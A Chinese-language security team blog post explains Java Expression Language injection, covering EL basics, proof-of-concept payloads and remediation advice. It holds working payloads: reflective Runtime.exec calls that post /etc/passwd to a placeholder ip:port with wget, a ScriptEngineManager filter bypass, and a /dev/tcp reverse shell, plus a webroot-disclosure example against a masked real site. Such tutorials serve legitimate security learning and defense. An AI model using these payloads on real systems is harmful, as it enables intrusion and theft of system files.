前言“FSRC經驗分享”系列文章,旨在分享焦點科技信息安全部工作過程中的經驗總結,包括但不限于漏洞分析、運營技巧、sdl推行、等保合規、自研工具等等。
歡迎各位安全從業者持續關注~
0x01EL簡介
表達式語言(Expression Language 以下簡稱EL)是以JSTL(JavaServer Pages Standard Tag Library,JSP標準標簽庫)的一部分出現的,原本被叫做SPEL(Simplest Possible Expression Language,簡單的表達式語言),后來被稱作EL(Expression Language,表達式語言)。它是一種腳本語言,允許通過JSP訪問Java組件(JavaBeans)。自JSP 2.0以來,表達式語言已經被內置到JSP標簽中,用于從JSP中分離Java代碼,并允許(比用Java代碼)更方便訪問Java組件。
Java中有多種表達式語言,比如:JSTL_EL為JSP自帶的表達式,適用于所有的Java Web,SpEL為Spring框架的EL表達式,只在Spring框架中可用 ,還有Struts2的OGNL。
JSTL_EL,為傳統EL,通常簡稱為EL,這種表達式是JSP語言自帶的表達式,也就是說所有的Java Web服務都必然會支持這種表達式。但是由于各家對其實現的不同,也導致某些漏洞可以在一些Java Web服務中成功利用,而在有的服務中則是無法利用。典型漏洞如CVE-2011-2730
SpEL:JAVA Spring框架特有表達式,是一個支持查詢和操作運行時對象導航圖功能的強大的表達式語言. 它的語法類似于傳統EL,但提供額外的功能,最出色的就是函數調用和簡單字符串的模板函數。
0x02EL表達式的功能
EL主要的語法結構為:${ 表達式?}。其主要功能如下:
獲取數據:EL表達式主要用于替換JSP頁面中的腳本表達式,以從各種類型的Web域中檢索Java對象、獲取數據(某個Web域中的對象,訪問JavaBean的屬性、訪問List集合、訪問Map集合、訪問數組)
執行運算:利用EL表達式可以在JSP頁面中執行一些基本的關系運算、邏輯運算和算術運算,以在JSP頁面中完成一些簡單的邏輯運算,例如${user==null}
獲取Web開發常用對象:EL表達式定義了一些隱式對象,利用這些隱式對象,Web開發人員可以很輕松獲得對Web常用對象的引用,從而獲得這些對象中的數據
調用Java方法:EL表達式允許用戶開發自定義EL函數,以在JSP頁面中通過EL表達式調用Java類的方法
0x03漏洞常見PoC通用PoC//執行兩個數相加,xray的payload${889972849%2b988839806}//執行replace函數,頁面中應該出現bbb${"aaa".replace('a','b')}//對應于JSP頁面中的pageContext對象(注意:取的是pageContext對象)${pageContext}//文件頭參數${header}//訪問application作用域內部,可以獲取到應用的各種屬性,可獲取webRoot${applicationScope}
執行讀取文件命令
由于EL表達式中不能使用new操作符直接構建對象,也不能直接訪問到java的類文件,所以這里要使用反射
首先獲取java.lang.Runtime中的靜態方法getRuntime的Method對象,然后通過invoke方法獲取一個Runtime對象,接著就可以直接調用exec方法執行命令${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("wget+--post-file=/etc/passwd+http://ip:port",null,null).toString()}
如果開發人員做了安全防護措施,比如禁用了invoke方法,無法直接反射,則需要先反射 newInstance 創建javax.script.ScriptEngineManager 腳本引擎,再執行java.lang.Runtime exec
${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('wget+--post-file=/etc/passwd+http://ip:port')")}
獲取shell方式
(1)先獲取webRoot路徑,再寫入jsp文件
以【WooYun-2016-195845】為例,先確認使用EL表達式https://auth.p4p.xxxx.com/login?service=${1000-900}
獲取WebROOThttps://auth.p4p.xxxx.com/login?service=${applicationScope}javax.servlet.context.tempdir=/opt/app/eunomia/WEB-INF/tmp,org.springframework.web.context.WebApplicationContext.ROOT=Root WebApplicationContext
然后就用命令向這個目錄,寫入jsp即可
(2)直接反彈shell?method=gotoViewPage&type=${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("bash?-i?>&?/dev/tcp/ip/port?0>&1",null).getInputStream())}exec("")可替換其他獲取shell的命令
ip/port 替換為自己服務器的ipP.S:對于java?exec?本身不支持管道符、重定向符,執行命令可能不成功,可嘗試編碼后再執行http://www.jackson-t.ca/runtime-exec-payloads.html0x04漏洞修復方案盡量不使用外部輸入的內容作為EL表達式內容;若使用,則嚴格過濾EL表達式注入漏洞的payload關鍵字;如果需要排查Java程序中JUEL相關代碼,搜索如下關鍵類方法:javax.el.ExpressionFactory.createValueExpression()javax.el.ValueExpression.getValue()0x05免責聲明
本文中提到的相關資源已在網絡公布,僅供研究學習使用,請遵守《網絡安全法》等相關法律法規。
0x06參考資料